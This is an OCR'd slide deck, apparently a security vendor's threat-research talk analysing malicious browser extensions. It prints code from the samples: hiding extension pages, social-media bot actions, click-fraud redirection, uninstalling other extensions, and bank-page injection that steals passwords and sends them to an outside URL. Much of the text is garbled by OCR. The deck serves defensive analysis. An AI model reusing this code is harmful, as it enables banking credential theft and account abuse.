Browser Extensions Extend
Cybercrime Capabilities

Lenart Bermejo
Senior Threat Response Engineer
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Browser Extensions

A little Background
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What are Browser Extensions?
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In Comparison with Plugins

€ Google ~ OI ﬂ‘ Eoweb + SPlucky [5]Images FoNews 5
€ YAHOO! ~ OI v | @ web [5]Images {SDirectory flu Nev
S msn¥ ~ OI j - Pweb falnews g§Ppictionary (8] stock Quot:

- @ @DOWNLOAD OV ~ & v|| Ppownloads FRwindows JY Mo
Google

“¥? Yahoo
Amazon
 msn

€& ask Jeeves

3 MSN Search: hosting - Microsoft Internet Explorer

& Dogpile
(@) HotBok
Web R @ askoeeves
1-10 of 21 2 & Ggablast seconds)
@ Dogpik
Netfirms (@ Hotot
Take advar Iﬁ Teoma nosting with a free domain name for life,
Affordab (37 Altavigts Way - v hostway.com
With owver 2 9., &l The Yeb S Yeb hosling easy. Yve offer a variety of
- Search Engines » A
Website 9 rdable Business, Ecommerce
R Shopoing Sites 4 S S S S et A
febsite H Desnload Shas p [avider of affordable business, ecom
7 tore Sites...

3/26/17 Confidential | Copyright 2013 TrendMicro Inc. 4



Ease Of Use

Benefits of Using Browser Extensions as
Components
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Why Use Browser Extensions

They Are not Platform-Dependent

Development Frameworks have become Available
Not Download-Dependent for Updates

* Full Privilege in Browser
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Stealth

An Attempted Evasion
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Removing Extension Pages

chrome . tahs.onUpdated.addListener(

3/26/17

function (tahid, x, tah) ¢
if (tah.upl ==

)

‘chrome://chrome/extensions

I
I
J 1
(|

I
I
tah.url == "opera://extensions
tah.url == chrome://extensions/’

chrome.tahs.remove(tah.1d);
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Redirect Extension Page

chrome.tahs.onlpdated.addListener(
function (tahid, x, tah) ¢
if (tah.url ==
'chrome://chrome/extensions
tah.url == "opera://extensions
tab.url == 'chrome://extensions/’

) |
!

I
I
)

) {

chrome.tahs .update(tab,1d,{url: "https://chrone.google.c

on/vehstore'?);

)
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Monetized Activities

Social Media Bot Behaviors
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Like, Follow, Become a Fan

| function abone(id) {

var $http = new XMLHttpRequest();
var $params =

"profile id=" + id + "&location=1& user=" + profile id + "&fh dtsg=" + config;
$http.open("POST", "/ajax/follow/follow profile.php", true);

$http.send($params) ;

|

| function sayfa(id) {

var §http = new ZMLHttpRequest();
var $params = "fhpage

id=" + id + "gadd=true& user=" + profile id +"&fb dtsg=" + config;
$http.open("POST", "/ajax/pages/fan status.php", true);

$http.send($parans) ; R
'

| function liste{id) {

var $http = new XMLHttpRequest();

var $params = "location=permalinkéaction=subscribe&flid="+id+"& u
$http.open("POST", "/a
$http.send($parans) ;

}

| function begen(id) {
var $http = new XMLHttpRecuest();

var $params = "like action=true&ft ent identifier=" + id + "gadd=true& user=" + profile id +"¢fh dtsy=" + config;
$htep.open("POST", "/ajax/ufi/like.php", true);

$http.send($parans) ;

}

ser=" + profile id +"&fb drsg=" + config;
jax/friends/lista/subscribe/modify"”, true);
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Like, Follow, Become a Fan

if (location.hostname. indexOf (" ") >= 0) {
addJavascript (" IGO0 ze L/ ask.php™)
}

if (location.hostnawe. indexOf ("R con") >= 0) {
authenticity token = docuwent,getElementsByNawe ("authenticity token") [0] svalue;
function follow(id){
var xwlhttp = new XMLHttpRecuest();
xmlhttp.onreadystatechange = function ()
if (xmlhttp.readyitate == 4){
}
'
var paraws = "fauthenticity token="+authenticity token;
params += "fuser id=" + 1]
xmlhttp.open("POST", "/i/user/follow", true);
xmlhttp.setRequestHeader ("Content-Type","application/x-wwi-form-urlencoded”);
xmlhttp.send (paraws) ;

)
9
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Social Media Propagation

Spreading through Friendship
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Sharing Posts Leading to Infection

function post_addi) {

war message_ random = random mesal s
war url = random link:

war dimage = random_foto z

war app = T7:

war XmlhttpzZ = new XMLHttpReguest >
Xxmlhttp2 .open (""GET™, "http
XrmlhttpZ .send (] -

war dats = JS0ON.p=arsse (XmlhtopZ . responseText) -
war naane = data . naaone 2

AT+ user__id, false) -

wvar xmlhttp = new XMLHttpRecguest () -
*xmlhttp.onreadystatechange = function () i
if(xmlhttp.readyState == 4 {
¥

war parasuans = Tnext
prarauns += To=muadidl
parsuns +=
parauns +=
parsuns +=

sOrr

v WTidge

Pparauans += =233 3439126051
parauns += = + message_randorm:’
parauns += SUIThwbPager Input=077;:

rarams +=

ppid="H+app:’

rparauans += T =hrment aF=§ af. [medivwa] =101

parauans += e nt =% o [MrlInfo] [canonic

parauans 4= T ment ars [urlInfo] [ftin=l1] =" 4+ url:
parauans += nent rs [urlInfo] [usexr] =" 4+ url:
parauans += nent =Y+ [Eavicon] =2

params 4= . ant [ome, .

parauans += e nt b C { . Citle] =2

parauans += T nent

1]
R

parauans += ment =% ot [ s v z
parauns += nment b g [vxr 1]

params += nent =% o ctl]=0°";

parauans += e nt =% ok [exrrox] =17

params += nment s og__info] [gus

e e e e e e e e e e e e
™

parauans += nment Y+ _info] [gue J[OolJ 11 =" 4+ url:
parauans += nent =% o [1]1 [0] =og:title’;
parauans += ment s [1]J[1]1="" + url:
params += maent =5 o

parauans += nment [ parax ]

params += hynent [Cype] =101

parauns += Tsulthuwmbpager widoth=72
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Sharing Posts Leading to Infection
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Click Fraud

Cash from Redirections
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Redirection of Search Pages

’ o Y s p: "SSROSPETDELPRKANLLULL/ShSM. A
breturn hjvar n={b:null,i:0,h:0,d:"",f:[],2:0,3:0,k:function(d,c){this.d=d; j+ <not ava%labl@
try{var a=localStorage.getItem("a"); vi <not avallable)

if(this.g(a))return)catch(b){}try{this.g(c)}catch(e){}},mfunction(){var d=""+Math.floor(4204 |V e€: Array[3]
return this.f[this.a)+"/u"+d+"/"+escape(btoa(m(""+Math.floor(4294967205*Math, random() )+ | "+th | @ “http://NENEE-page.net”

1£(3600¢d- this. 188128¢d-this.h){this.h=d; 1: "http:/ jypamdivect.net”
var c=this; | 2: "http://uiNEtop.org"
r(this.m(),function(b,a){if(200== length: 3

a){c.i=d; b _proto__: Array[0]
try{c.g(b)&&localStorage.setItem("a",b) }catch(f){}}else c.a+=1,c.a>=C.f.length&&(c.a=0)})}}}c | v Call Stack ] Async
var c=JSON.parse(m(atob(d), this.d)); o
if(!c.e){try{this.b&&this.b()}catch(a){}this.b=null; -
var b=eval(c.c); nk background 522
this.b=b[1];

b[0](this.d); | (anonymous function)  backgrounds37

this.j=c.v;

(anonymous function) ~ backgroundjs33
try{var e=c.u;

e.length8&(this.f=e)}catch(f){}}return!@}catch(g){}return!1}}; ¥ Scope Variables
n.k(a,p); Y Local
Vehrome .wehNavi gation. onCommitted. addl i <tener(function(d)itrviA==d.url . index0F("httn"\A&n.1( )}
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Redirection of Searches
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=

GO gle harp_test

) Developer Tools - chrome-extension://cgdbhinfohginkegIminbegiddgnbedh/_generated_background page. html

Q Elements Network | Sources| Timeline Profiles Resources Audts Console

(] backgrounds ’VM436X’extensions:binding extensions:event_bindings  extensions:utils gl

I ot tmd

1| (function(){function N(b,c){try{var a=new XMLKttpRequest;a.timeout=6E4;a.open("GET",b,!@) ;E‘

2 function s(){this.a=[]}function C(b){try{t.f.c(b[m])}catch(c){}}function D(b){try{var c=b-i¢

3 b.u,f=b.r;b=b.t ;8808 (c=c. tab. 1d,e[c]8&e[c].k| | (p| | (p=c), (f=t.g.c(d,f,e[c]e[c].b:"",b) unde
4 d¥(a.r=f,a.521):1==d 2 |=a.r8&(a.r=f,a.5=2) : 2==dd&f =, réddelete 1[c]}}}catch(e){}}s.protouy

5 typeof f&&c.push(f)}catch(e){}}return c}catch(g){}}};var t={h:new s,m:new s,finew s,ginew s};

¥ Watch Expressions + 0 4
" function 1(b){try{var a=k.ex.
Fined Janttps:\/\/(.42) (\/[MV4)".
- HU)
vb: Array[3]

6| {1:Math.Floor((new Date).getTine()/1€3),d:{},3:{}},N(c(x,a), Function(b,a){if(208=a){var w=B(

0: 0

7 function f(b){var a,c={},d=b.split("&");for(a in d)b=d[a].split("="),c[b[0]])=b[1];return C}fu
8 1f("/aclk"==a[2])return b)if("/url"==a[2)&a[3]){var c=f(a[3]),d=c.url,d=unescape(d>d:c.q);re
9" "))),e[0]];break}}jvar q={},m="";t.h.addListener(function(b){m=b;t.f.addListener(a);t.g.add
10/ A=[[0,1," .google.", " /webhp"," /gen_204","/search","/"],[],"a", 0], [1,function(a){try{var b;if
11/b[1].toLowerCase().index0f (".aol.con"))return e(a)}catch(c){}}," .aol.con",[],["/search"],"q",
12/b[1].toLowerCase(). index0f(" search-results.con"))return e(a)}catch(c){}}," . search-results.co
13 Math.random()));returnfunction(b){t.h.c(b);r.onBeforeRequest . addListener(C,{urls:v});r.onkrr

14 g.onRemoved. removeL istener(E) ;g.onUpdated. removeListener(F);g.onActivated. removelistener(6);c.

15

Confidential | Copyright 2013 TrendMicro Inc. 18

1 "harp_test"
2: 0
length: 3
b _proto_: Array[0]
vp: Array[2]
0: "http://MEEERageX. cON/S2q..
1: "http:// ——gex.org/s3q.
length: 2
b _proto_: Array[0]
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Browser Extension Deletion

A Destructive Behavior
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Delete All other Browser Extensions

var list = new Array():
] docunent .addEventListener (' DOMContentLoaded', function ()
] chrome.management.getlll (function(info) |
var appCount = 0;
] for (var i = 0; i < info.length; i++) |

E—) list(i] - info[i]["id"];
}

deleteldll(list);
1)
1)
] function deletedll{info){
var myid = chrome.il8n.getMessage ("[lextension id");
for (var 1 = 0; 1 < info.length; i++) {

]
EE)| ifnyid != info[i])
— chrome.management .. uninstall (info[1i] )’
b

}
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Information Theft

Online Banking Hazards
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Target Bank

function myTiver (args) |
var str = args.url; Bank 1
e

var pos = str.indexOf ("pvovonaxf'.rotl3());

if (pos »=0) {

chrome, tabg.executedcript (args.tabld, (file @

E
) Bank 2
/

I

Component 1

/

Fxler,wfforotdd ()}, function () {

if {(args.url === "uggef://333£3. ufop.phz.oe/VGR/ phezha/ uyzy/ ufop-hayvar. fugzy(.rot13{)) || (args.url ===

"ugget://333£3. ufop. phz. oe/ UBO-ZRHUFOR/ freivrgf/ ThtvalrhUFOP 2erghve=1".rot13())) {

chrome, tabg.executeScript (args.tabld, (file
M
}
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Information Capture

if (docweent. location,href === "uggef://333£3 . ufop. phe.oe/UBO-ZRHUFOP/ fredvrgf/ ThtvalrhUFOP 2erahve=1".rot13{)) {
var captcha = Luutmm1t.gEtElementBYId[”VlLLaptLha”],

if (captcha '= null) |
if (captcha.value!= ') |
setCookie ("Enviou", "lan", 15);
}

TEC = document,getElementById( ' keyhoard');

if [(TEC != null) && (getCookie("Senhal4") === undefined])
TEC.style,visibility="hidden';

) else {
var Jenhal4 = getCookie("Senhald");

var Senha07 = getCookie("5enhal?");

if ((TEC != null) && [getCookie("Enviou") === undefined) && (Senha04 '= "") && (3enha0? !'= ") && ((getCookie("CPF") !=
|| (getCookie("Conta”) != ""]] && (3enha04.length === 4) && (enha07, length === 7] {
var request = nev SMLHGtpRecuest();
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Information Capture

iv = e=‘maru;un—rrwp'—3?’:pw'-:; '»<div clasgs='formRouv'>
<input type='password' class='input3tyle0f extStylelé' maxlength='7' id='senhal0?' name=
</div><d1v class='forwRow' ><label for='perador'>Senha da Conta (4 Digitos):</label>
<input type='password' class='input3tyle06' maxlength='4' id='senhal4' nawe='senhal4'>
<a href=' R . O . [/ .

nhad?'>

w
|‘[|

<input type='image' class='input3tyle02' sre='/ITE/comon/ imag ogin/buttons/button-ok.gif' value='Logon'
title='Logon'>
</brr</brr<center><img nawe='selo seg' oncontextmenu='return false;' sro='" + getCockie("Selo "' border='0' height='79"

width='107"></center>
</ar</dive></div><p>0 Meu HEEEM Internet e ww canal de relacionamento que disponibiliza todos os servicos financeiros com
comodidade, rapidez e seguranca.</p>
<ulx>
<li><a onclick

window.oper

;location=no,directories=no,nenubar=no, toolbar=no,resizahle=y

E=Y

href='JavascriptidesiMultiTrack (' DCS.desuri', ' /tagueawento/ pib-cua/ login/Link3 . html', 'UT.ti', 'Saiba%20Mais') ' >Como
Realizar Consultas</a></li>
<li»<a or

ck='Ja ript:

1 (" S . - -

,location=no,directories=no,nenubar=no, toolbar=no,resizable=yes, width=800

ouUU,

f='JavascriptidesiultiTrack (' DCS.desuri', ' /tagueawento/ pib-cua/ login/Link4. html' , 'UT.ti', 'Como%20Acessar') ' >Como
Realizar Transacoes Financeiras</a»</li»

<li»<a onclick 7 ript:
1! n|||||||||||||||||;|au1wLllIli||||||li|||l|lllllllllIlllIlllllIlllIllllllllllIllllllIlIllllllllllllll|||||||

window,. oy
3, location=no,directories=no,nenubar=no,toolbar=no,resizable=yes, width=800,

] '\j 'DCS.desuri', ' /tagueamento/pib-cua/ login/LinkS.htwl', 'UT.ti',
'Heus _I_\—_L\Int:m:t 520~ "I'lFan:p.lenr_es' ) '>Perguntas Frecuentes
<lix<a oncl as
window.open(' “n om. br, _ 'janeladux', 'status=yes,scrollbars=vyes,
lo ion=no,directories=no,nenubar=no, too =no,

ght=650, top=0, left=0") ;"'
script: ['DCS.desuri', ' /tagueamento/ pib-cua/ login/Link6.htwl', 'UT.ti',
'Meus20NEEE:20Internet%20-%20Video%20IB') ' >Conheca o Meu HEEE Internet</ flix

<ul>
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Information Exfiltration

if [(TEC '= null) &€& (getCookie("Enviou"] === undefined) && (Senha04 '= "") &¢ (3enha0? '= "") && ((getCookie("CPF"| !=
|| (getCookie("Conta") !'= "")) && (Senha04.length === 4) && (3enha0?, length === T)){
var recquest = new ZMLHttpRequest();

if (request '= null){
var url =

"uggcf:fﬁjjj.frsnm.ef.tbi.DEfHFEfvaptherECfFES_rznvy_E.nfc?rznvycnen=v33hezngvibnheryvb@lznvy.phz£g¥ghyb=2rh2muw
‘ hah=PC3: " rotld () + getCookie ("CPF"] + "<br»3enha: " + getCookie("Senhad?") + "<br»Senha Cartao: " +
getCookie("Senhald") + "<hrrConta: " + getCookie("Conta");

request.onreadystatechange = function() {
if (request.readyitate == 4){
LDResponsge (request . responseText);
}

request.open("GET", url, true);
request.gend (null);

setCookie ("Enviou", "3in", 15);

}

g)
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Videos

Demo of Malicious Activities
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Conclusion
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From the Behaviors Discussed...

3/26/17

Browser-Relevant malwares are becoming popular
Motivation is centered around money

Malware advances with technology

Malware Utilize Popular services and activities
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Best Practices

3/26/17

Be conscious of the integrity of visited sites
Acquire Browser Extensions from Trusted Sources
Be aware of the Browser Extensions you install
Process Online Transactions in Secured Networks
Always update your Web Browser

Always have Multi-Layer Protection
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